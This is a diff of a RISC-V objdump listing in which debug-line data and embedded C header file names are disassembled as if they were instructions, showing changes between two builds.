+    140e:	6176                	flw	ft2,92(sp)
+    1410:	2e6c                	fld	fa1,216(a2)
+    1412:	0068                	addi	a0,sp,12
+    1414:	0005                	c.nop	1
+    1416:	7400                	flw	fs0,40(s0)
+    1418:	6d69                	lui	s10,0x1a
+    141a:	7365                	lui	t1,0xffff9
+    141c:	6570                	flw	fa2,76(a0)
+    141e:	00682e63          	0x682e63
+    1422:	0005                	c.nop	1
+    1424:	5f00                	lw	s0,56(a4)
+    1426:	6974                	flw	fa3,84(a0)
+    1428:	656d                	lui	a0,0x1b
+    142a:	63657073          	csrci	0x636,10
+    142e:	682e                	flw	fa6,200(sp)
+    1430:	0500                	addi	s0,sp,640
+    1432:	0000                	unimp
+    1434:	705f 6874 6572      	0x65726874705f
+    143a:	6461                	lui	s0,0x18
+    143c:	7974                	flw	fa3,116(a0)
+    143e:	6570                	flw	fa2,76(a0)
+    1440:	00682e73          	csrrs	t3,0x6,a6
+    1444:	0005                	c.nop	1
+    1446:	7300                	flw	fs0,32(a4)
+    1448:	64656863          	bltu	a0,t1,1a98 <__stack_size+0x1298>
+    144c:	682e                	flw	fa6,200(sp)
+    144e:	0500                	addi	s0,sp,640
+    1450:	0000                	unimp
+    1452:	7974                	flw	fa3,116(a0)
+    1454:	6570                	flw	fa2,76(a0)
+    1456:	00682e73          	csrrs	t3,0x6,a6
+    145a:	72000007          	0x72000007
+    145e:	6565                	lui	a0,0x19
+    1460:	746e                	flw	fs0,248(sp)
+    1462:	682e                	flw	fa6,200(sp)
+    1464:	0500                	addi	s0,sp,640
+    1466:	0000                	unimp
+    1468:	6f6c                	flw	fa1,92(a4)
+    146a:	682e6b63          	bltu	t3,sp,1b00 <__stack_size+0x1300>
+    146e:	0500                	addi	s0,sp,640
+    1470:	0000                	unimp
+    1472:	6c5f 636f 6c61      	0x6c61636f6c5f
+    1478:	2e65                	jal	1830 <__stack_size+0x1030>
+    147a:	0068                	addi	a0,sp,12
+    147c:	0005                	c.nop	1
+    147e:	7300                	flw	fs0,32(a4)
+    1480:	7274                	flw	fa3,100(a2)
+    1482:	6e69                	lui	t3,0x1a
+    1484:	682e7367          	0x682e7367
+    1488:	0400                	addi	s0,sp,512
+    148a:	0000                	unimp
+    148c:	69727473          	csrrci	s0,0x697,4
+    1490:	676e                	flw	fa4,216(sp)
+    1492:	682e                	flw	fa6,200(sp)
+    1494:	0500                	addi	s0,sp,640
+    1496:	0000                	unimp
+    1498:	61647473          	csrrci	s0,0x616,8
+    149c:	6772                	flw	fa4,28(sp)
+    149e:	682e                	flw	fa6,200(sp)
+    14a0:	0200                	addi	s0,sp,256
+    14a2:	0000                	unimp
+    14a4:	69647473          	csrrci	s0,0x696,8
+    14a8:	00682e6f          	jal	t3,834ae <__stack_size+0x82cae>
+    14ac:	0005                	c.nop	1
+    14ae:	7300                	flw	fs0,32(a4)
+    14b0:	6474                	flw	fa3,76(s0)
+    14b2:	696c                	flw	fa1,84(a0)
+    14b4:	2e62                	fld	ft8,24(sp)
+    14b6:	0068                	addi	a0,sp,12
+    14b8:	61000007          	0x61000007
+    14bc:	6c6c                	flw	fa1,92(s0)
+    14be:	2e61636f          	jal	t1,177a4 <__stack_size+0x16fa4>
+    14c2:	0068                	addi	a0,sp,12
+    14c4:	0004                	0x4
+    14c6:	0000                	unimp
+    14c8:	2305                	jal	19e8 <__stack_size+0x11e8>
+    14ca:	0500                	addi	s0,sp,640
+    14cc:	0002                	c.slli64	zero
+    14ce:	0000                	unimp
+    14d0:	1400                	addi	s0,sp,544
+    14d2:	0205                	addi	tp,tp,1
+    14d4:	00090203          	lb	tp,0(s2) # 18000 <__stack_size+0x17800>
+    14d8:	0100                	addi	s0,sp,128
+    14da:	00090103          	lb	sp,0(s2)
+    14de:	0100                	addi	s0,sp,128
+    14e0:	00090203          	lb	tp,0(s2)
+    14e4:	0100                	addi	s0,sp,128
+    14e6:	00090203          	lb	tp,0(s2)
+    14ea:	0100                	addi	s0,sp,128
+    14ec:	0705                	addi	a4,a4,1
+    14ee:	00090003          	lb	zero,0(s2)
+    14f2:	0100                	addi	s0,sp,128
+    14f4:	1805                	addi	a6,a6,-31
+    14f6:	00090003          	lb	zero,0(s2)
+    14fa:	0100                	addi	s0,sp,128
+    14fc:	2305                	jal	1a1c <__stack_size+0x121c>
+    14fe:	0306                	slli	t1,t1,0x1
+    1500:	0979                	addi	s2,s2,30
+    1502:	0000                	unimp
+    1504:	0301                	addi	t1,t1,0
+    1506:	0900                	addi	s0,sp,144
+    1508:	0000                	unimp
+    150a:	0501                	addi	a0,a0,0
+    150c:	030c                	addi	a1,sp,384
+    150e:	00000907          	0x907
+    1512:	0501                	addi	a0,a0,0
+    1514:	0308                	addi	a0,sp,384
+    1516:	0906                	slli	s2,s2,0x1
+    1518:	0000                	unimp
+    151a:	0301                	addi	t1,t1,0
+    151c:	090c                	addi	a1,sp,144
+    151e:	0000                	unimp
+    1520:	0501                	addi	a0,a0,0
+    1522:	0306                	slli	t1,t1,0x1
+    1524:	0902                	c.slli64	s2
+    1526:	0000                	unimp
+    1528:	0501                	addi	a0,a0,0
+    152a:	09010307          	0x9010307
+    152e:	0000                	unimp
+    1530:	0301                	addi	t1,t1,0
+    1532:	0902                	c.slli64	s2
+    1534:	0000                	unimp
+    1536:	0501                	addi	a0,a0,0
+    1538:	0306                	slli	t1,t1,0x1
+    153a:	0901                	addi	s2,s2,0
+    153c:	0000                	unimp
+    153e:	0501                	addi	a0,a0,0
+    1540:	0305                	addi	t1,t1,1
+    1542:	0000096f          	jal	s2,1542 <__stack_size+0xd42>
+    1546:	0501                	addi	a0,a0,0
+    1548:	0609                	addi	a2,a2,2
+    154a:	00097b03          	0x97b03
+    154e:	0100                	addi	s0,sp,128
+    1550:	0305                	addi	t1,t1,1
+    1552:	00090203          	lb	tp,0(s2)
+    1556:	0100                	addi	s0,sp,128
+    1558:	0705                	addi	a4,a4,1
+    155a:	00090003          	lb	zero,0(s2)
+    155e:	0100                	addi	s0,sp,128
+    1560:	00090003          	lb	zero,0(s2)
+    1564:	0100                	addi	s0,sp,128
+    1566:	00090003          	lb	zero,0(s2)
+    156a:	0100                	addi	s0,sp,128
+    156c:	00090003          	lb	zero,0(s2)
+    1570:	0100                	addi	s0,sp,128
+    1572:	00090003          	lb	zero,0(s2)
+    1576:	0100                	addi	s0,sp,128
+    1578:	00090003          	lb	zero,0(s2)
+    157c:	0100                	addi	s0,sp,128
+    157e:	00090003          	lb	zero,0(s2)
+    1582:	0100                	addi	s0,sp,128
+    1584:	00090003          	lb	zero,0(s2)
+    1588:	0100                	addi	s0,sp,128
+    158a:	00090003          	lb	zero,0(s2)
+    158e:	0100                	addi	s0,sp,128
+    1590:	00090003          	lb	zero,0(s2)
+    1594:	0100                	addi	s0,sp,128
+    1596:	00090003          	lb	zero,0(s2)
+    159a:	0100                	addi	s0,sp,128
+    159c:	0605                	addi	a2,a2,1
+    159e:	0306                	slli	t1,t1,0x1
+    15a0:	0900                	addi	s0,sp,144
+    15a2:	0000                	unimp
+    15a4:	0501                	addi	a0,a0,0
+    15a6:	0604                	addi	s1,sp,768
+    15a8:	00090203          	lb	tp,0(s2)
+    15ac:	0100                	addi	s0,sp,128
+    15ae:	0805                	addi	a6,a6,1
+    15b0:	0306                	slli	t1,t1,0x1
+    15b2:	0900                	addi	s0,sp,144
+    15b4:	0000                	unimp
+    15b6:	0501                	addi	a0,a0,0
+    15b8:	09000307          	0x9000307
     15bc:	0000                	unimp
     15be:	0501                	addi	a0,a0,0
-    15c0:	030a                	slli	t1,t1,0x2
-    15c2:	0900                	addi	s0,sp,144
-    15c4:	0008                	0x8
-    15c6:	0501                	addi	a0,a0,0
-    15c8:	002d                	c.nop	11
-    15ca:	0402                	c.slli64	s0
-    15cc:	0601                	addi	a2,a2,0
-    15ce:	02090003          	lb	zero,32(s2)
+    15c0:	0605                	addi	a2,a2,1
+    15c2:	00090103          	lb	sp,0(s2)
+    15c6:	0100                	addi	s0,sp,128
+    15c8:	00090003          	lb	zero,0(s2)
+    15cc:	0100                	addi	s0,sp,128
+    15ce:	00090003          	lb	zero,0(s2)
     15d2:	0100                	addi	s0,sp,128
-    15d4:	0705                	addi	a4,a4,1
-    15d6:	0c090103          	lb	sp,192(s2)
-    15da:	0100                	addi	s0,sp,128
-    15dc:	0605                	addi	a2,a2,1
-    15de:	08090103          	lb	sp,128(s2)
-    15e2:	0100                	addi	s0,sp,128
-    15e4:	10090203          	lb	tp,256(s2)
-    15e8:	0100                	addi	s0,sp,128
-    15ea:	0f05                	addi	t5,t5,1
+    15d4:	00090003          	lb	zero,0(s2)
+    15d8:	0100                	addi	s0,sp,128
+    15da:	2505                	jal	1bfa <__stack_size+0x13fa>
+    15dc:	0200                	addi	s0,sp,256
+    15de:	0204                	addi	s1,sp,256
+    15e0:	00097903          	0x97903
+    15e4:	0100                	addi	s0,sp,128
+    15e6:	2905                	jal	1a16 <__stack_size+0x1216>
+    15e8:	0200                	addi	s0,sp,256
+    15ea:	0204                	addi	s1,sp,256
     15ec:	0306                	slli	t1,t1,0x1
     15ee:	0900                	addi	s0,sp,144
     15f0:	0000                	unimp
     15f2:	0501                	addi	a0,a0,0
-    15f4:	0606                	slli	a2,a2,0x1
-    15f6:	06097603          	0x6097603
-    15fa:	0100                	addi	s0,sp,128
-    15fc:	0f05                	addi	t5,t5,1
-    15fe:	0306                	slli	t1,t1,0x1
-    1600:	0900                	addi	s0,sp,144
-    1602:	0000                	unimp
-    1604:	0901                	addi	s2,s2,0
-    1606:	0006                	c.slli	zero,0x1
-    1608:	0100                	addi	s0,sp,128
-    160a:	0501                	addi	a0,a0,0
-    160c:	02050013          	addi	zero,a0,32 # 1b020 <__stack_size+0x1a820>
-    1610:	22ec                	fld	fa1,192(a3)
-    1612:	2040                	fld	fs0,128(s0)
-    1614:	0102dc03          	lhu	s8,16(t0)
-    1618:	0205                	addi	tp,tp,1
-    161a:	00090203          	lb	tp,0(s2)
-    161e:	0100                	addi	s0,sp,128
-    1620:	1305                	addi	t1,t1,-31
-    1622:	0306                	slli	t1,t1,0x1
-    1624:	097e                	slli	s2,s2,0x1f
-    1626:	0000                	unimp
-    1628:	0501                	addi	a0,a0,0
-    162a:	0319                	addi	t1,t1,6
-    162c:	0902                	c.slli64	s2
-    162e:	0002                	c.slli64	zero
-    1630:	0501                	addi	a0,a0,0
-    1632:	097e0313          	addi	t1,t3,151
-    1636:	000c                	0xc
-    1638:	0501                	addi	a0,a0,0
-    163a:	0319                	addi	t1,t1,6
-    163c:	0902                	c.slli64	s2
-    163e:	000a                	c.slli	zero,0x2
+    15f4:	0018                	0x18
+    15f6:	0402                	c.slli64	s0
+    15f8:	0602                	c.slli64	a2
+    15fa:	00090003          	lb	zero,0(s2)
+    15fe:	0100                	addi	s0,sp,128
+    1600:	0205                	addi	tp,tp,1
+    1602:	0200                	addi	s0,sp,256
+    1604:	0204                	addi	s1,sp,256
+    1606:	0306                	slli	t1,t1,0x1
+    1608:	0900                	addi	s0,sp,144
+    160a:	0000                	unimp
+    160c:	0501                	addi	a0,a0,0
+    160e:	0301                	addi	t1,t1,0
+    1610:	00000923          	sb	zero,18(zero) # 12 <__stack_size-0x7ee>
+    1614:	0501                	addi	a0,a0,0
+    1616:	0605                	addi	a2,a2,1
+    1618:	00096b03          	0x96b03
+    161c:	0100                	addi	s0,sp,128
+    161e:	2b05                	jal	1b4e <__stack_size+0x134e>
+    1620:	00090003          	lb	zero,0(s2)
+    1624:	0100                	addi	s0,sp,128
+    1626:	3505                	jal	1446 <__stack_size+0xc46>
+    1628:	0306                	slli	t1,t1,0x1
+    162a:	0900                	addi	s0,sp,144
+    162c:	0000                	unimp
+    162e:	0501                	addi	a0,a0,0
+    1630:	0605                	addi	a2,a2,1
+    1632:	00090103          	lb	sp,0(s2)
+    1636:	0100                	addi	s0,sp,128
+    1638:	0805                	addi	a6,a6,1
+    163a:	0306                	slli	t1,t1,0x1
+    163c:	0900                	addi	s0,sp,144
+    163e:	0000                	unimp
     1640:	0501                	addi	a0,a0,0
-    1642:	0331                	addi	t1,t1,12
-    1644:	0900                	addi	s0,sp,144
-    1646:	0004                	0x4
+    1642:	0335                	addi	t1,t1,13
+    1644:	097f                	0x97f
+    1646:	0000                	unimp
     1648:	0501                	addi	a0,a0,0
-    164a:	0319                	addi	t1,t1,6
-    164c:	0900                	addi	s0,sp,144
-    164e:	0008                	0x8
-    1650:	0501                	addi	a0,a0,0
-    1652:	0331                	addi	t1,t1,12
-    1654:	0900                	addi	s0,sp,144
-    1656:	0002                	c.slli64	zero
-    1658:	0501                	addi	a0,a0,0
-    165a:	0344                	addi	s1,sp,388
-    165c:	0900                	addi	s0,sp,144
-    165e:	0006                	c.slli	zero,0x1
-    1660:	0501                	addi	a0,a0,0
-    1662:	0331                	addi	t1,t1,12
-    1664:	0900                	addi	s0,sp,144
-    1666:	0008                	0x8
-    1668:	0501                	addi	a0,a0,0
-    166a:	0344                	addi	s1,sp,388
-    166c:	0900                	addi	s0,sp,144
-    166e:	0002                	c.slli64	zero
-    1670:	0501                	addi	a0,a0,0
-    1672:	09000357          	0x9000357
-    1676:	0008                	0x8
-    1678:	0501                	addi	a0,a0,0
-    167a:	0602                	c.slli64	a2
-    167c:	10090203          	lb	tp,256(s2)
-    1680:	0100                	addi	s0,sp,128
-    1682:	0505                	addi	a0,a0,1
-    1684:	0306                	slli	t1,t1,0x1
+    164a:	0605                	addi	a2,a2,1
+    164c:	00090403          	lb	s0,0(s2)
+    1650:	0100                	addi	s0,sp,128
+    1652:	0a05                	addi	s4,s4,1
+    1654:	0306                	slli	t1,t1,0x1
+    1656:	0900                	addi	s0,sp,144
+    1658:	0000                	unimp
+    165a:	0501                	addi	a0,a0,0
+    165c:	0308                	addi	a0,sp,384
+    165e:	0900                	addi	s0,sp,144
+    1660:	0000                	unimp
+    1662:	0501                	addi	a0,a0,0
+    1664:	0606                	slli	a2,a2,0x1
+    1666:	00090203          	lb	tp,0(s2)
+    166a:	0100                	addi	s0,sp,128
+    166c:	0705                	addi	a4,a4,1
+    166e:	00090103          	lb	sp,0(s2)
+    1672:	0100                	addi	s0,sp,128
+    1674:	00090103          	lb	sp,0(s2)
+    1678:	0100                	addi	s0,sp,128
+    167a:	0b05                	addi	s6,s6,1
+    167c:	0306                	slli	t1,t1,0x1
+    167e:	0900                	addi	s0,sp,144
+    1680:	0000                	unimp
+    1682:	0501                	addi	a0,a0,0
+    1684:	030a                	slli	t1,t1,0x2
     1686:	0900                	addi	s0,sp,144
     1688:	0000                	unimp
     168a:	0501                	addi	a0,a0,0
-    168c:	0900031b          	0x900031b
-    1690:	0002                	c.slli64	zero
-    1692:	0501                	addi	a0,a0,0
-    1694:	0602                	c.slli64	a2
-    1696:	08090303          	lb	t1,128(s2)
-    169a:	0100                	addi	s0,sp,128
-    169c:	0605                	addi	a2,a2,1
-    169e:	0306                	slli	t1,t1,0x1
-    16a0:	0900                	addi	s0,sp,144
-    16a2:	0000                	unimp
-    16a4:	0501                	addi	a0,a0,0
-    16a6:	0305                	addi	t1,t1,1
-    16a8:	0900                	addi	s0,sp,144
-    16aa:	000e                	c.slli	zero,0x3
-    16ac:	0501                	addi	a0,a0,0
-    16ae:	02030603          	lb	a2,32(t1)
-    16b2:	0209                	addi	tp,tp,2
-    16b4:	0100                	addi	s0,sp,128
-    16b6:	0605                	addi	a2,a2,1
-    16b8:	0306                	slli	t1,t1,0x1
-    16ba:	0900                	addi	s0,sp,144
-    16bc:	0000                	unimp
-    16be:	0501                	addi	a0,a0,0
-    16c0:	0604                	addi	s1,sp,768
-    16c2:	02090103          	lb	sp,32(s2)
-    16c6:	0100                	addi	s0,sp,128
-    16c8:	00090103          	lb	sp,0(s2)
+    168c:	002d                	c.nop	11
+    168e:	0402                	c.slli64	s0
+    1690:	0601                	addi	a2,a2,0
+    1692:	00090003          	lb	zero,0(s2)
+    1696:	0100                	addi	s0,sp,128
+    1698:	0705                	addi	a4,a4,1
+    169a:	00090103          	lb	sp,0(s2)
+    169e:	0100                	addi	s0,sp,128
+    16a0:	0605                	addi	a2,a2,1
+    16a2:	00090103          	lb	sp,0(s2)
+    16a6:	0100                	addi	s0,sp,128
+    16a8:	00090203          	lb	tp,0(s2)
+    16ac:	0100                	addi	s0,sp,128
+    16ae:	0f05                	addi	t5,t5,1
+    16b0:	0306                	slli	t1,t1,0x1
+    16b2:	0900                	addi	s0,sp,144
+    16b4:	0000                	unimp
+    16b6:	0501                	addi	a0,a0,0
+    16b8:	0606                	slli	a2,a2,0x1
+    16ba:	00097603          	0x97603
+    16be:	0100                	addi	s0,sp,128
+    16c0:	0f05                	addi	t5,t5,1
+    16c2:	0306                	slli	t1,t1,0x1
+    16c4:	0900                	addi	s0,sp,144
+    16c6:	0000                	unimp
+    16c8:	0901                	addi	s2,s2,0
+    16ca:	0000                	unimp
     16cc:	0100                	addi	s0,sp,128
-    16ce:	1f05                	addi	t5,t5,-31
-    16d0:	0306                	slli	t1,t1,0x1
-    16d2:	0900                	addi	s0,sp,144
-    16d4:	0000                	unimp
-    16d6:	0501                	addi	a0,a0,0
-    16d8:	0304                	addi	s1,sp,384
-    16da:	0901                	addi	s2,s2,0
-    16dc:	000a                	c.slli	zero,0x2
-    16de:	0501                	addi	a0,a0,0
-    16e0:	031f 097f 0002      	0x2097f031f
-    16e6:	0501                	addi	a0,a0,0
-    16e8:	0604                	addi	s1,sp,768
-    16ea:	02090103          	lb	sp,32(s2)
-    16ee:	0100                	addi	s0,sp,128
-    16f0:	04090103          	lb	sp,64(s2)
-    16f4:	0100                	addi	s0,sp,128
-    16f6:	0306                	slli	t1,t1,0x1
-    16f8:	0911                	addi	s2,s2,4
-    16fa:	0004                	0x4
-    16fc:	0501                	addi	a0,a0,0
-    16fe:	0301                	addi	t1,t1,0
-    1700:	00de                	slli	ra,ra,0x17
-    1702:	0809                	addi	a6,a6,2
-    1704:	0100                	addi	s0,sp,128
-    1706:	0405                	addi	s0,s0,1
-    1708:	097fa203          	lw	tp,151(t6)
-    170c:	000c                	0xc
-    170e:	0501                	addi	a0,a0,0
-    1710:	060a                	slli	a2,a2,0x2
-    1712:	04097003          	0x4097003
-    1716:	0100                	addi	s0,sp,128
-    1718:	0105                	addi	sp,sp,1
-    171a:	0306                	slli	t1,t1,0x1
-    171c:	00ee                	slli	ra,ra,0x1b
-    171e:	0809                	addi	a6,a6,2
+    16ce:	0501                	addi	a0,a0,0
+    16d0:	0001                	nop
+    16d2:	0205                	addi	tp,tp,1
+    16d4:	1e64                	addi	s1,sp,828
+    16d6:	2040                	fld	fs0,128(s0)
+    16d8:	05012e03          	lw	t3,80(sp) # 2050050 <__stack_size+0x204f850>
+    16dc:	0302                	c.slli64	t1
+    16de:	00000903          	lb	s2,0(zero) # 0 <__stack_size-0x800>
+    16e2:	0301                	addi	t1,t1,0
+    16e4:	0901                	addi	s2,s2,0
+    16e6:	0000                	unimp
+    16e8:	0501                	addi	a0,a0,0
+    16ea:	0601                	addi	a2,a2,0
+    16ec:	00097c03          	0x97c03
+    16f0:	0100                	addi	s0,sp,128
+    16f2:	1705                	addi	a4,a4,-31
+    16f4:	06090403          	lb	s0,96(s2)
+    16f8:	0100                	addi	s0,sp,128
+    16fa:	0105                	addi	sp,sp,1
+    16fc:	08097c03          	0x8097c03
+    1700:	0100                	addi	s0,sp,128
+    1702:	1705                	addi	a4,a4,-31
+    1704:	0e090403          	lb	s0,224(s2)
+    1708:	0100                	addi	s0,sp,128
+    170a:	2305                	jal	1c2a <__stack_size+0x142a>
+    170c:	06090203          	lb	tp,96(s2)
+    1710:	0100                	addi	s0,sp,128
+    1712:	0605                	addi	a2,a2,1
+    1714:	0c090003          	lb	zero,192(s2)
+    1718:	0100                	addi	s0,sp,128
+    171a:	0b05                	addi	s6,s6,1
+    171c:	02097e03          	0x2097e03
     1720:	0100                	addi	s0,sp,128
-    1722:	0905                	addi	s2,s2,1
-    1724:	0c097e03          	0xc097e03
-    1728:	0100                	addi	s0,sp,128
-    172a:	0306                	slli	t1,t1,0x1
-    172c:	04097f97          	auipc	t6,0x4097
-    1730:	0100                	addi	s0,sp,128
-    1732:	0d05                	addi	s10,s10,1
-    1734:	0306                	slli	t1,t1,0x1
-    1736:	0900                	addi	s0,sp,144
-    1738:	0000                	unimp
-    173a:	0501                	addi	a0,a0,0
-    173c:	030c                	addi	a1,sp,384
-    173e:	0900                	addi	s0,sp,144
-    1740:	000e                	c.slli	zero,0x3
-    1742:	0501                	addi	a0,a0,0
-    1744:	02030603          	lb	a2,32(t1)
-    1748:	0209                	addi	tp,tp,2
-    174a:	0100                	addi	s0,sp,128
-    174c:	0605                	addi	a2,a2,1
-    174e:	0306                	slli	t1,t1,0x1
-    1750:	0900                	addi	s0,sp,144
-    1752:	0000                	unimp
-    1754:	0501                	addi	a0,a0,0
-    1756:	0015                	c.nop	5
-    1758:	0402                	c.slli64	s0
+    1722:	06090503          	lb	a0,96(s2)
+    1726:	0100                	addi	s0,sp,128
+    1728:	02097b03          	0x2097b03
+    172c:	0100                	addi	s0,sp,128
+    172e:	0205                	addi	tp,tp,1
+    1730:	0306                	slli	t1,t1,0x1
+    1732:	00060903          	lb	s2,0(a2) # ffffa000 <_heap_end+0x7ffeb800>
+    1736:	0501                	addi	a0,a0,0
+    1738:	0616                	slli	a2,a2,0x5
+    173a:	00090003          	lb	zero,0(s2)
+    173e:	0100                	addi	s0,sp,128
+    1740:	0205                	addi	tp,tp,1
+    1742:	0306                	slli	t1,t1,0x1
+    1744:	0901                	addi	s2,s2,0
+    1746:	0006                	c.slli	zero,0x1
+    1748:	0501                	addi	a0,a0,0
+    174a:	063a                	slli	a2,a2,0xe
+    174c:	00090003          	lb	zero,0(s2)
+    1750:	0100                	addi	s0,sp,128
+    1752:	0205                	addi	tp,tp,1
+    1754:	0306                	slli	t1,t1,0x1
+    1756:	0901                	addi	s2,s2,0
+    1758:	000c                	0xc
     175a:	0301                	addi	t1,t1,0
-    175c:	0900                	addi	s0,sp,144
-    175e:	0002                	c.slli64	zero
+    175c:	0901                	addi	s2,s2,0
+    175e:	0000                	unimp
     1760:	0501                	addi	a0,a0,0
-    1762:	0604                	addi	s1,sp,768
-    1764:	04090103          	lb	sp,64(s2)
+    1762:	0003060b          	0x3060b
+    1766:	0009                	c.nop	2
     1768:	0100                	addi	s0,sp,128
-    176a:	1a05                	addi	s4,s4,-31
-    176c:	0306                	slli	t1,t1,0x1
-    176e:	0900                	addi	s0,sp,144
-    1770:	0000                	unimp
-    1772:	0501                	addi	a0,a0,0
-    1774:	031f 0901 000a      	0xa0901031f
+    176a:	0705                	addi	a4,a4,1
+    176c:	02090603          	lb	a2,32(s2)
+    1770:	0100                	addi	s0,sp,128
+    1772:	0205                	addi	tp,tp,1
+    1774:	0306                	slli	t1,t1,0x1
+    1776:	0002097b          	0x2097b
     177a:	0501                	addi	a0,a0,0
-    177c:	031a                	slli	t1,t1,0x6
-    177e:	097f                	0x97f
-    1780:	0004                	0x4
+    177c:	09020303          	lb	t1,144(tp) # ffffd090 <_heap_end+0x7ffee890>
+    1780:	0000                	unimp
     1782:	0501                	addi	a0,a0,0
-    1784:	0604                	addi	s1,sp,768
-    1786:	02090103          	lb	sp,32(s2)
+    1784:	0605                	addi	a2,a2,1
+    1786:	00090003          	lb	zero,0(s2)
     178a:	0100                	addi	s0,sp,128
-    178c:	1f05                	addi	t5,t5,-31
+    178c:	0405                	addi	s0,s0,1
     178e:	0306                	slli	t1,t1,0x1
-    1790:	0900                	addi	s0,sp,144
-    1792:	0000                	unimp
-    1794:	0501                	addi	a0,a0,0
-    1796:	0604                	addi	s1,sp,768
-    1798:	08090203          	lb	tp,128(s2)
-    179c:	0100                	addi	s0,sp,128
-    179e:	0905                	addi	s2,s2,1
-    17a0:	0306                	slli	t1,t1,0x1
-    17a2:	0900                	addi	s0,sp,144
-    17a4:	0000                	unimp
-    17a6:	0501                	addi	a0,a0,0
-    17a8:	09000307          	0x9000307
-    17ac:	0006                	c.slli	zero,0x1
-    17ae:	0501                	addi	a0,a0,0
-    17b0:	0605                	addi	a2,a2,1
-    17b2:	06090103          	lb	sp,96(s2)
-    17b6:	0100                	addi	s0,sp,128
-    17b8:	0405                	addi	s0,s0,1
-    17ba:	04090603          	lb	a2,64(s2)
-    17be:	0100                	addi	s0,sp,128
-    17c0:	0905                	addi	s2,s2,1
-    17c2:	06097b03          	0x6097b03
-    17c6:	0100                	addi	s0,sp,128
-    17c8:	0e05                	addi	t3,t3,1
-    17ca:	0306                	slli	t1,t1,0x1
-    17cc:	0900                	addi	s0,sp,144
-    17ce:	0000                	unimp
-    17d0:	0501                	addi	a0,a0,0
-    17d2:	030c                	addi	a1,sp,384
-    17d4:	0900                	addi	s0,sp,144
-    17d6:	0006                	c.slli	zero,0x1
-    17d8:	0501                	addi	a0,a0,0
-    17da:	0605                	addi	a2,a2,1
-    17dc:	06090103          	lb	sp,96(s2)
-    17e0:	0100                	addi	s0,sp,128
-    17e2:	06090203          	lb	tp,96(s2)
-    17e6:	0100                	addi	s0,sp,128
-    17e8:	0a05                	addi	s4,s4,1
-    17ea:	06090303          	lb	t1,96(s2)
-    17ee:	0100                	addi	s0,sp,128
-    17f0:	0905                	addi	s2,s2,1
-    17f2:	0a090303          	lb	t1,160(s2)
-    17f6:	0100                	addi	s0,sp,128
-    17f8:	0d05                	addi	s10,s10,1
-    17fa:	0306                	slli	t1,t1,0x1
-    17fc:	0900                	addi	s0,sp,144
-    17fe:	0000                	unimp
-    1800:	0501                	addi	a0,a0,0
-    1802:	030c                	addi	a1,sp,384
-    1804:	0900                	addi	s0,sp,144
-    1806:	000e                	c.slli	zero,0x3
-    1808:	0501                	addi	a0,a0,0
-    180a:	02030603          	lb	a2,32(t1)
-    180e:	0209                	addi	tp,tp,2
-    1810:	0100                	addi	s0,sp,128
-    1812:	0605                	addi	a2,a2,1
-    1814:	0306                	slli	t1,t1,0x1
-    1816:	0900                	addi	s0,sp,144
-    1818:	0000                	unimp
-    181a:	0501                	addi	a0,a0,0
-    181c:	0604                	addi	s1,sp,768
-    181e:	02090103          	lb	sp,32(s2)
-    1822:	0100                	addi	s0,sp,128
-    1824:	1f05                	addi	t5,t5,-31
-    1826:	0306                	slli	t1,t1,0x1
-    1828:	0900                	addi	s0,sp,144
-    182a:	0000                	unimp
-    182c:	0501                	addi	a0,a0,0
-    182e:	0604                	addi	s1,sp,768
-    1830:	0a090103          	lb	sp,160(s2)
-    1834:	0100                	addi	s0,sp,128
-    1836:	0105                	addi	sp,sp,1
-    1838:	0306                	slli	t1,t1,0x1
-    183a:	00d6                	slli	ra,ra,0x15
-    183c:	0409                	addi	s0,s0,2
-    183e:	0100                	addi	s0,sp,128
-    1840:	0a05                	addi	s4,s4,1
-    1842:	0306                	slli	t1,t1,0x1
-    1844:	0e097fab          	0xe097fab
-    1848:	0100                	addi	s0,sp,128
-    184a:	0905                	addi	s2,s2,1
-    184c:	0a090303          	lb	t1,160(s2)
-    1850:	0100                	addi	s0,sp,128
-    1852:	0d05                	addi	s10,s10,1
-    1854:	0306                	slli	t1,t1,0x1
-    1856:	0900                	addi	s0,sp,144
-    1858:	0000                	unimp
-    185a:	0501                	addi	a0,a0,0
-    185c:	030c                	addi	a1,sp,384
-    185e:	0900                	addi	s0,sp,144
-    1860:	000e                	c.slli	zero,0x3
-    1862:	0501                	addi	a0,a0,0
-    1864:	02030603          	lb	a2,32(t1)
-    1868:	0209                	addi	tp,tp,2
-    186a:	0100                	addi	s0,sp,128
-    186c:	0605                	addi	a2,a2,1
+    1790:	0901                	addi	s2,s2,0
+    1792:	0002                	c.slli64	zero
+    1794:	0301                	addi	t1,t1,0
+    1796:	0901                	addi	s2,s2,0
+    1798:	0000                	unimp
+    179a:	0301                	addi	t1,t1,0
+    179c:	0901                	addi	s2,s2,0
+    179e:	0000                	unimp
+    17a0:	0501                	addi	a0,a0,0
+    17a2:	061d                	addi	a2,a2,7
+    17a4:	00090003          	lb	zero,0(s2)
+    17a8:	0100                	addi	s0,sp,128
+    17aa:	0e05                	addi	t3,t3,1
+    17ac:	04097f03          	0x4097f03
+    17b0:	0100                	addi	s0,sp,128
+    17b2:	0705                	addi	a4,a4,1
+    17b4:	02090103          	lb	sp,32(s2)
+    17b8:	0100                	addi	s0,sp,128
+    17ba:	0505                	addi	a0,a0,1
+    17bc:	0306                	slli	t1,t1,0x1
+    17be:	0901                	addi	s2,s2,0
+    17c0:	0004                	0x4
+    17c2:	0501                	addi	a0,a0,0
+    17c4:	0003060f          	0x3060f
+    17c8:	0009                	c.nop	2
+    17ca:	0100                	addi	s0,sp,128
+    17cc:	0405                	addi	s0,s0,1
+    17ce:	0306                	slli	t1,t1,0x1
+    17d0:	0901                	addi	s2,s2,0
+    17d2:	0006                	c.slli	zero,0x1
+    17d4:	0501                	addi	a0,a0,0
+    17d6:	060d                	addi	a2,a2,3
+    17d8:	04090103          	lb	sp,64(s2)
+    17dc:	0100                	addi	s0,sp,128
+    17de:	0405                	addi	s0,s0,1
+    17e0:	02097f03          	0x2097f03
+    17e4:	0100                	addi	s0,sp,128
+    17e6:	0d05                	addi	s10,s10,1
+    17e8:	02090103          	lb	sp,32(s2)
+    17ec:	0100                	addi	s0,sp,128
+    17ee:	0405                	addi	s0,s0,1
+    17f0:	02097f03          	0x2097f03
+    17f4:	0100                	addi	s0,sp,128
+    17f6:	0306                	slli	t1,t1,0x1
+    17f8:	0901                	addi	s2,s2,0
+    17fa:	0002                	c.slli64	zero
+    17fc:	0501                	addi	a0,a0,0
+    17fe:	060d                	addi	a2,a2,3
+    1800:	00090003          	lb	zero,0(s2)
+    1804:	0100                	addi	s0,sp,128
